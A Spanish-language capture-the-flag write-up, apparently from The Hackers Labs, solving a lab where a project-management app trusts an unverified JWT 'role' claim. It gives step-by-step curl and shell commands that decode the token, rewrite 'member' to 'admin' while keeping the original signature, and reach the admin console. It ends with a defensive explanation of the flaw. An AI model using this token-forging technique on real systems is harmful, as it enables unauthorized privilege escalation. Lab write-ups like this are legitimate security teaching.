Write-ups

Resolución del LAB – Broken Access Control: rol vía JWT sin verificar firma


Reconocimiento

El reto es una aplicación de gestión de proyectos de The Hackers Labs, con su /login y su /register. Sin cuenta todavía, el primer paso es registrarse y mirar qué nos entrega el servidor: en un reto de Broken Access Control lo interesante casi nunca es la pantalla, es lo que viaja en las cookies.

El reto vive tras la cookie de sesión de la plataforma, así que la guardamos en cookies.txt y apuntamos la URL del reto a $URL. Sin esa cookie, cualquier ruta responde 401 not logged, incluidas las que no existen, porque el gate corre antes que el routing.

curl -sk -b cookies.txt "$URL/"

Identificación de la vulnerabilidad

Nos registramos con un usuario cualquiera y observamos las cabeceras de la respuesta. Ahí es donde se decide el reto.

curl -sk -b cookies.txt -i \
  -d "username=pentester&[email protected]&password=Str0ngPass!2026" \
  "$URL/register"

El registro nos redirige a /workspace y planta dos cookies distintas: la session de Flask (HttpOnly, solo guarda el user_id) y una qs_token con las tres partes separadas por puntos inconfundibles de un JWT.

HTTP/2 302
location: /workspace
set-cookie: qs_token=eyJhbGciOiAiSFMyNTYi...eyJzdWIiOiA0...role...z4J7yCUxVa-_...; Path=/
set-cookie: session=eyJfZmxhc2hlcyI6...; Path=/; HttpOnly

La propia página de /workspace nos ahorra el trabajo de adivinar para qué sirve cada cookie: dice que la autorización entre microservicios se decide con qs_token, independiente de la sesión de Flask. Traducido: el rol no lo manda session, lo manda ese JWT. Y un JWT solo es de fiar si el servidor recalcula su firma en cada petición. Vamos a ver qué lleva dentro.

Leer un JWT no requiere la clave HMAC; la clave solo hace falta para firmar. Decodificamos en base64url las dos primeras partes (cabecera y payload) del token que nos dieron.

TOKEN=$(curl -sk -b cookies.txt -c - -o /dev/null "$URL/register" -d "..." | awk '/qs_token/{print $7}')
# cabecera y payload (la firma, tercer campo, no se toca)
echo "$TOKEN" | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
{"alg": "HS256", "typ": "JWT"}
{"sub": 4, "username": "pentester", "role": "member"}

Ahí está el claim que manda: role: "member". Si la consola de administración se guarda mirando ese campo, y el servidor no verifica la firma, el rol lo elegimos nosotros. Antes de forjar nada, confirmamos que el guard existe y que a un member lo rechaza.

curl -sk -b cookies.txt -b "qs_token=$TOKEN" -o /dev/null -w "%{http_code} -> %{redirect_url}\n" "$URL/admin/console"

Responde 302 hacia /workspace. El guard está y bloquea al member. Todo lo que falta es cambiar una palabra en el payload.

Explotación

Editamos solo el payload, de "role": "member" a "role": "admin", lo volvemos a codificar en base64url y reensamblamos el token con la cabecera y la firma original intactas. No recalculamos nada: si el servidor comprobara el HMAC, este token sería inválido. La gracia es demostrar que ni se molesta en mirarlo.

HEADER=$(echo "$TOKEN" | cut -d. -f1)
SIG=$(echo "$TOKEN" | cut -d. -f3)
# payload con role=admin, codificado base64url sin padding
NEW=$(printf '%s' '{"sub": 4, "username": "pentester", "role": "admin"}' \
      | base64 | tr '+/' '-_' | tr -d '=')
FORGED="$HEADER.$NEW.$SIG"

La firma que arrastra $FORGED es, byte a byte, la misma que firmaba el payload de member. Nunca tuvimos la clave y no nos hizo falta. Repetimos la petición a la consola de admin, esta vez con el token forjado.

curl -sk -b cookies.txt -b "qs_token=$FORGED" "$URL/admin/console"

Y entramos. El servidor decodifica el payload, lee role: admin y nos abre la consola de administración con la flag dentro.

HTTP/2 200

[ CONSOLA DE ADMINISTRACIÓN ]
Bienvenido, pentester. Claims del token: {"role": "admin", "sub": 4, "username": "pentester"}

Flag: THL{XXXXXX}

Flag

La flag aparece en la consola en cuanto el token dice admin; la dejamos enmascarada como THL{XXXXXX}.

El fallo no está en la criptografía del JWT, está en que nadie llegó a usarla. Un token firmado solo vale si el servidor recalcula la firma y la compara en cada petición; en cuanto se salta ese paso y decodifica el payload a mano, el JWT deja de ser un token firmado y pasa a ser JSON en base64 que el cliente edita a su antojo. La frontera que cae no es la del cifrado, es la confianza en un claim que viaja del lado equivocado: el rol nunca debió salir del cliente sin firma verificada; en el peor caso se re-consulta en base de datos a partir del sub.

Un token que nadie llegó a verificar deja que el cliente se firme a sí mismo el ascenso a admin.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *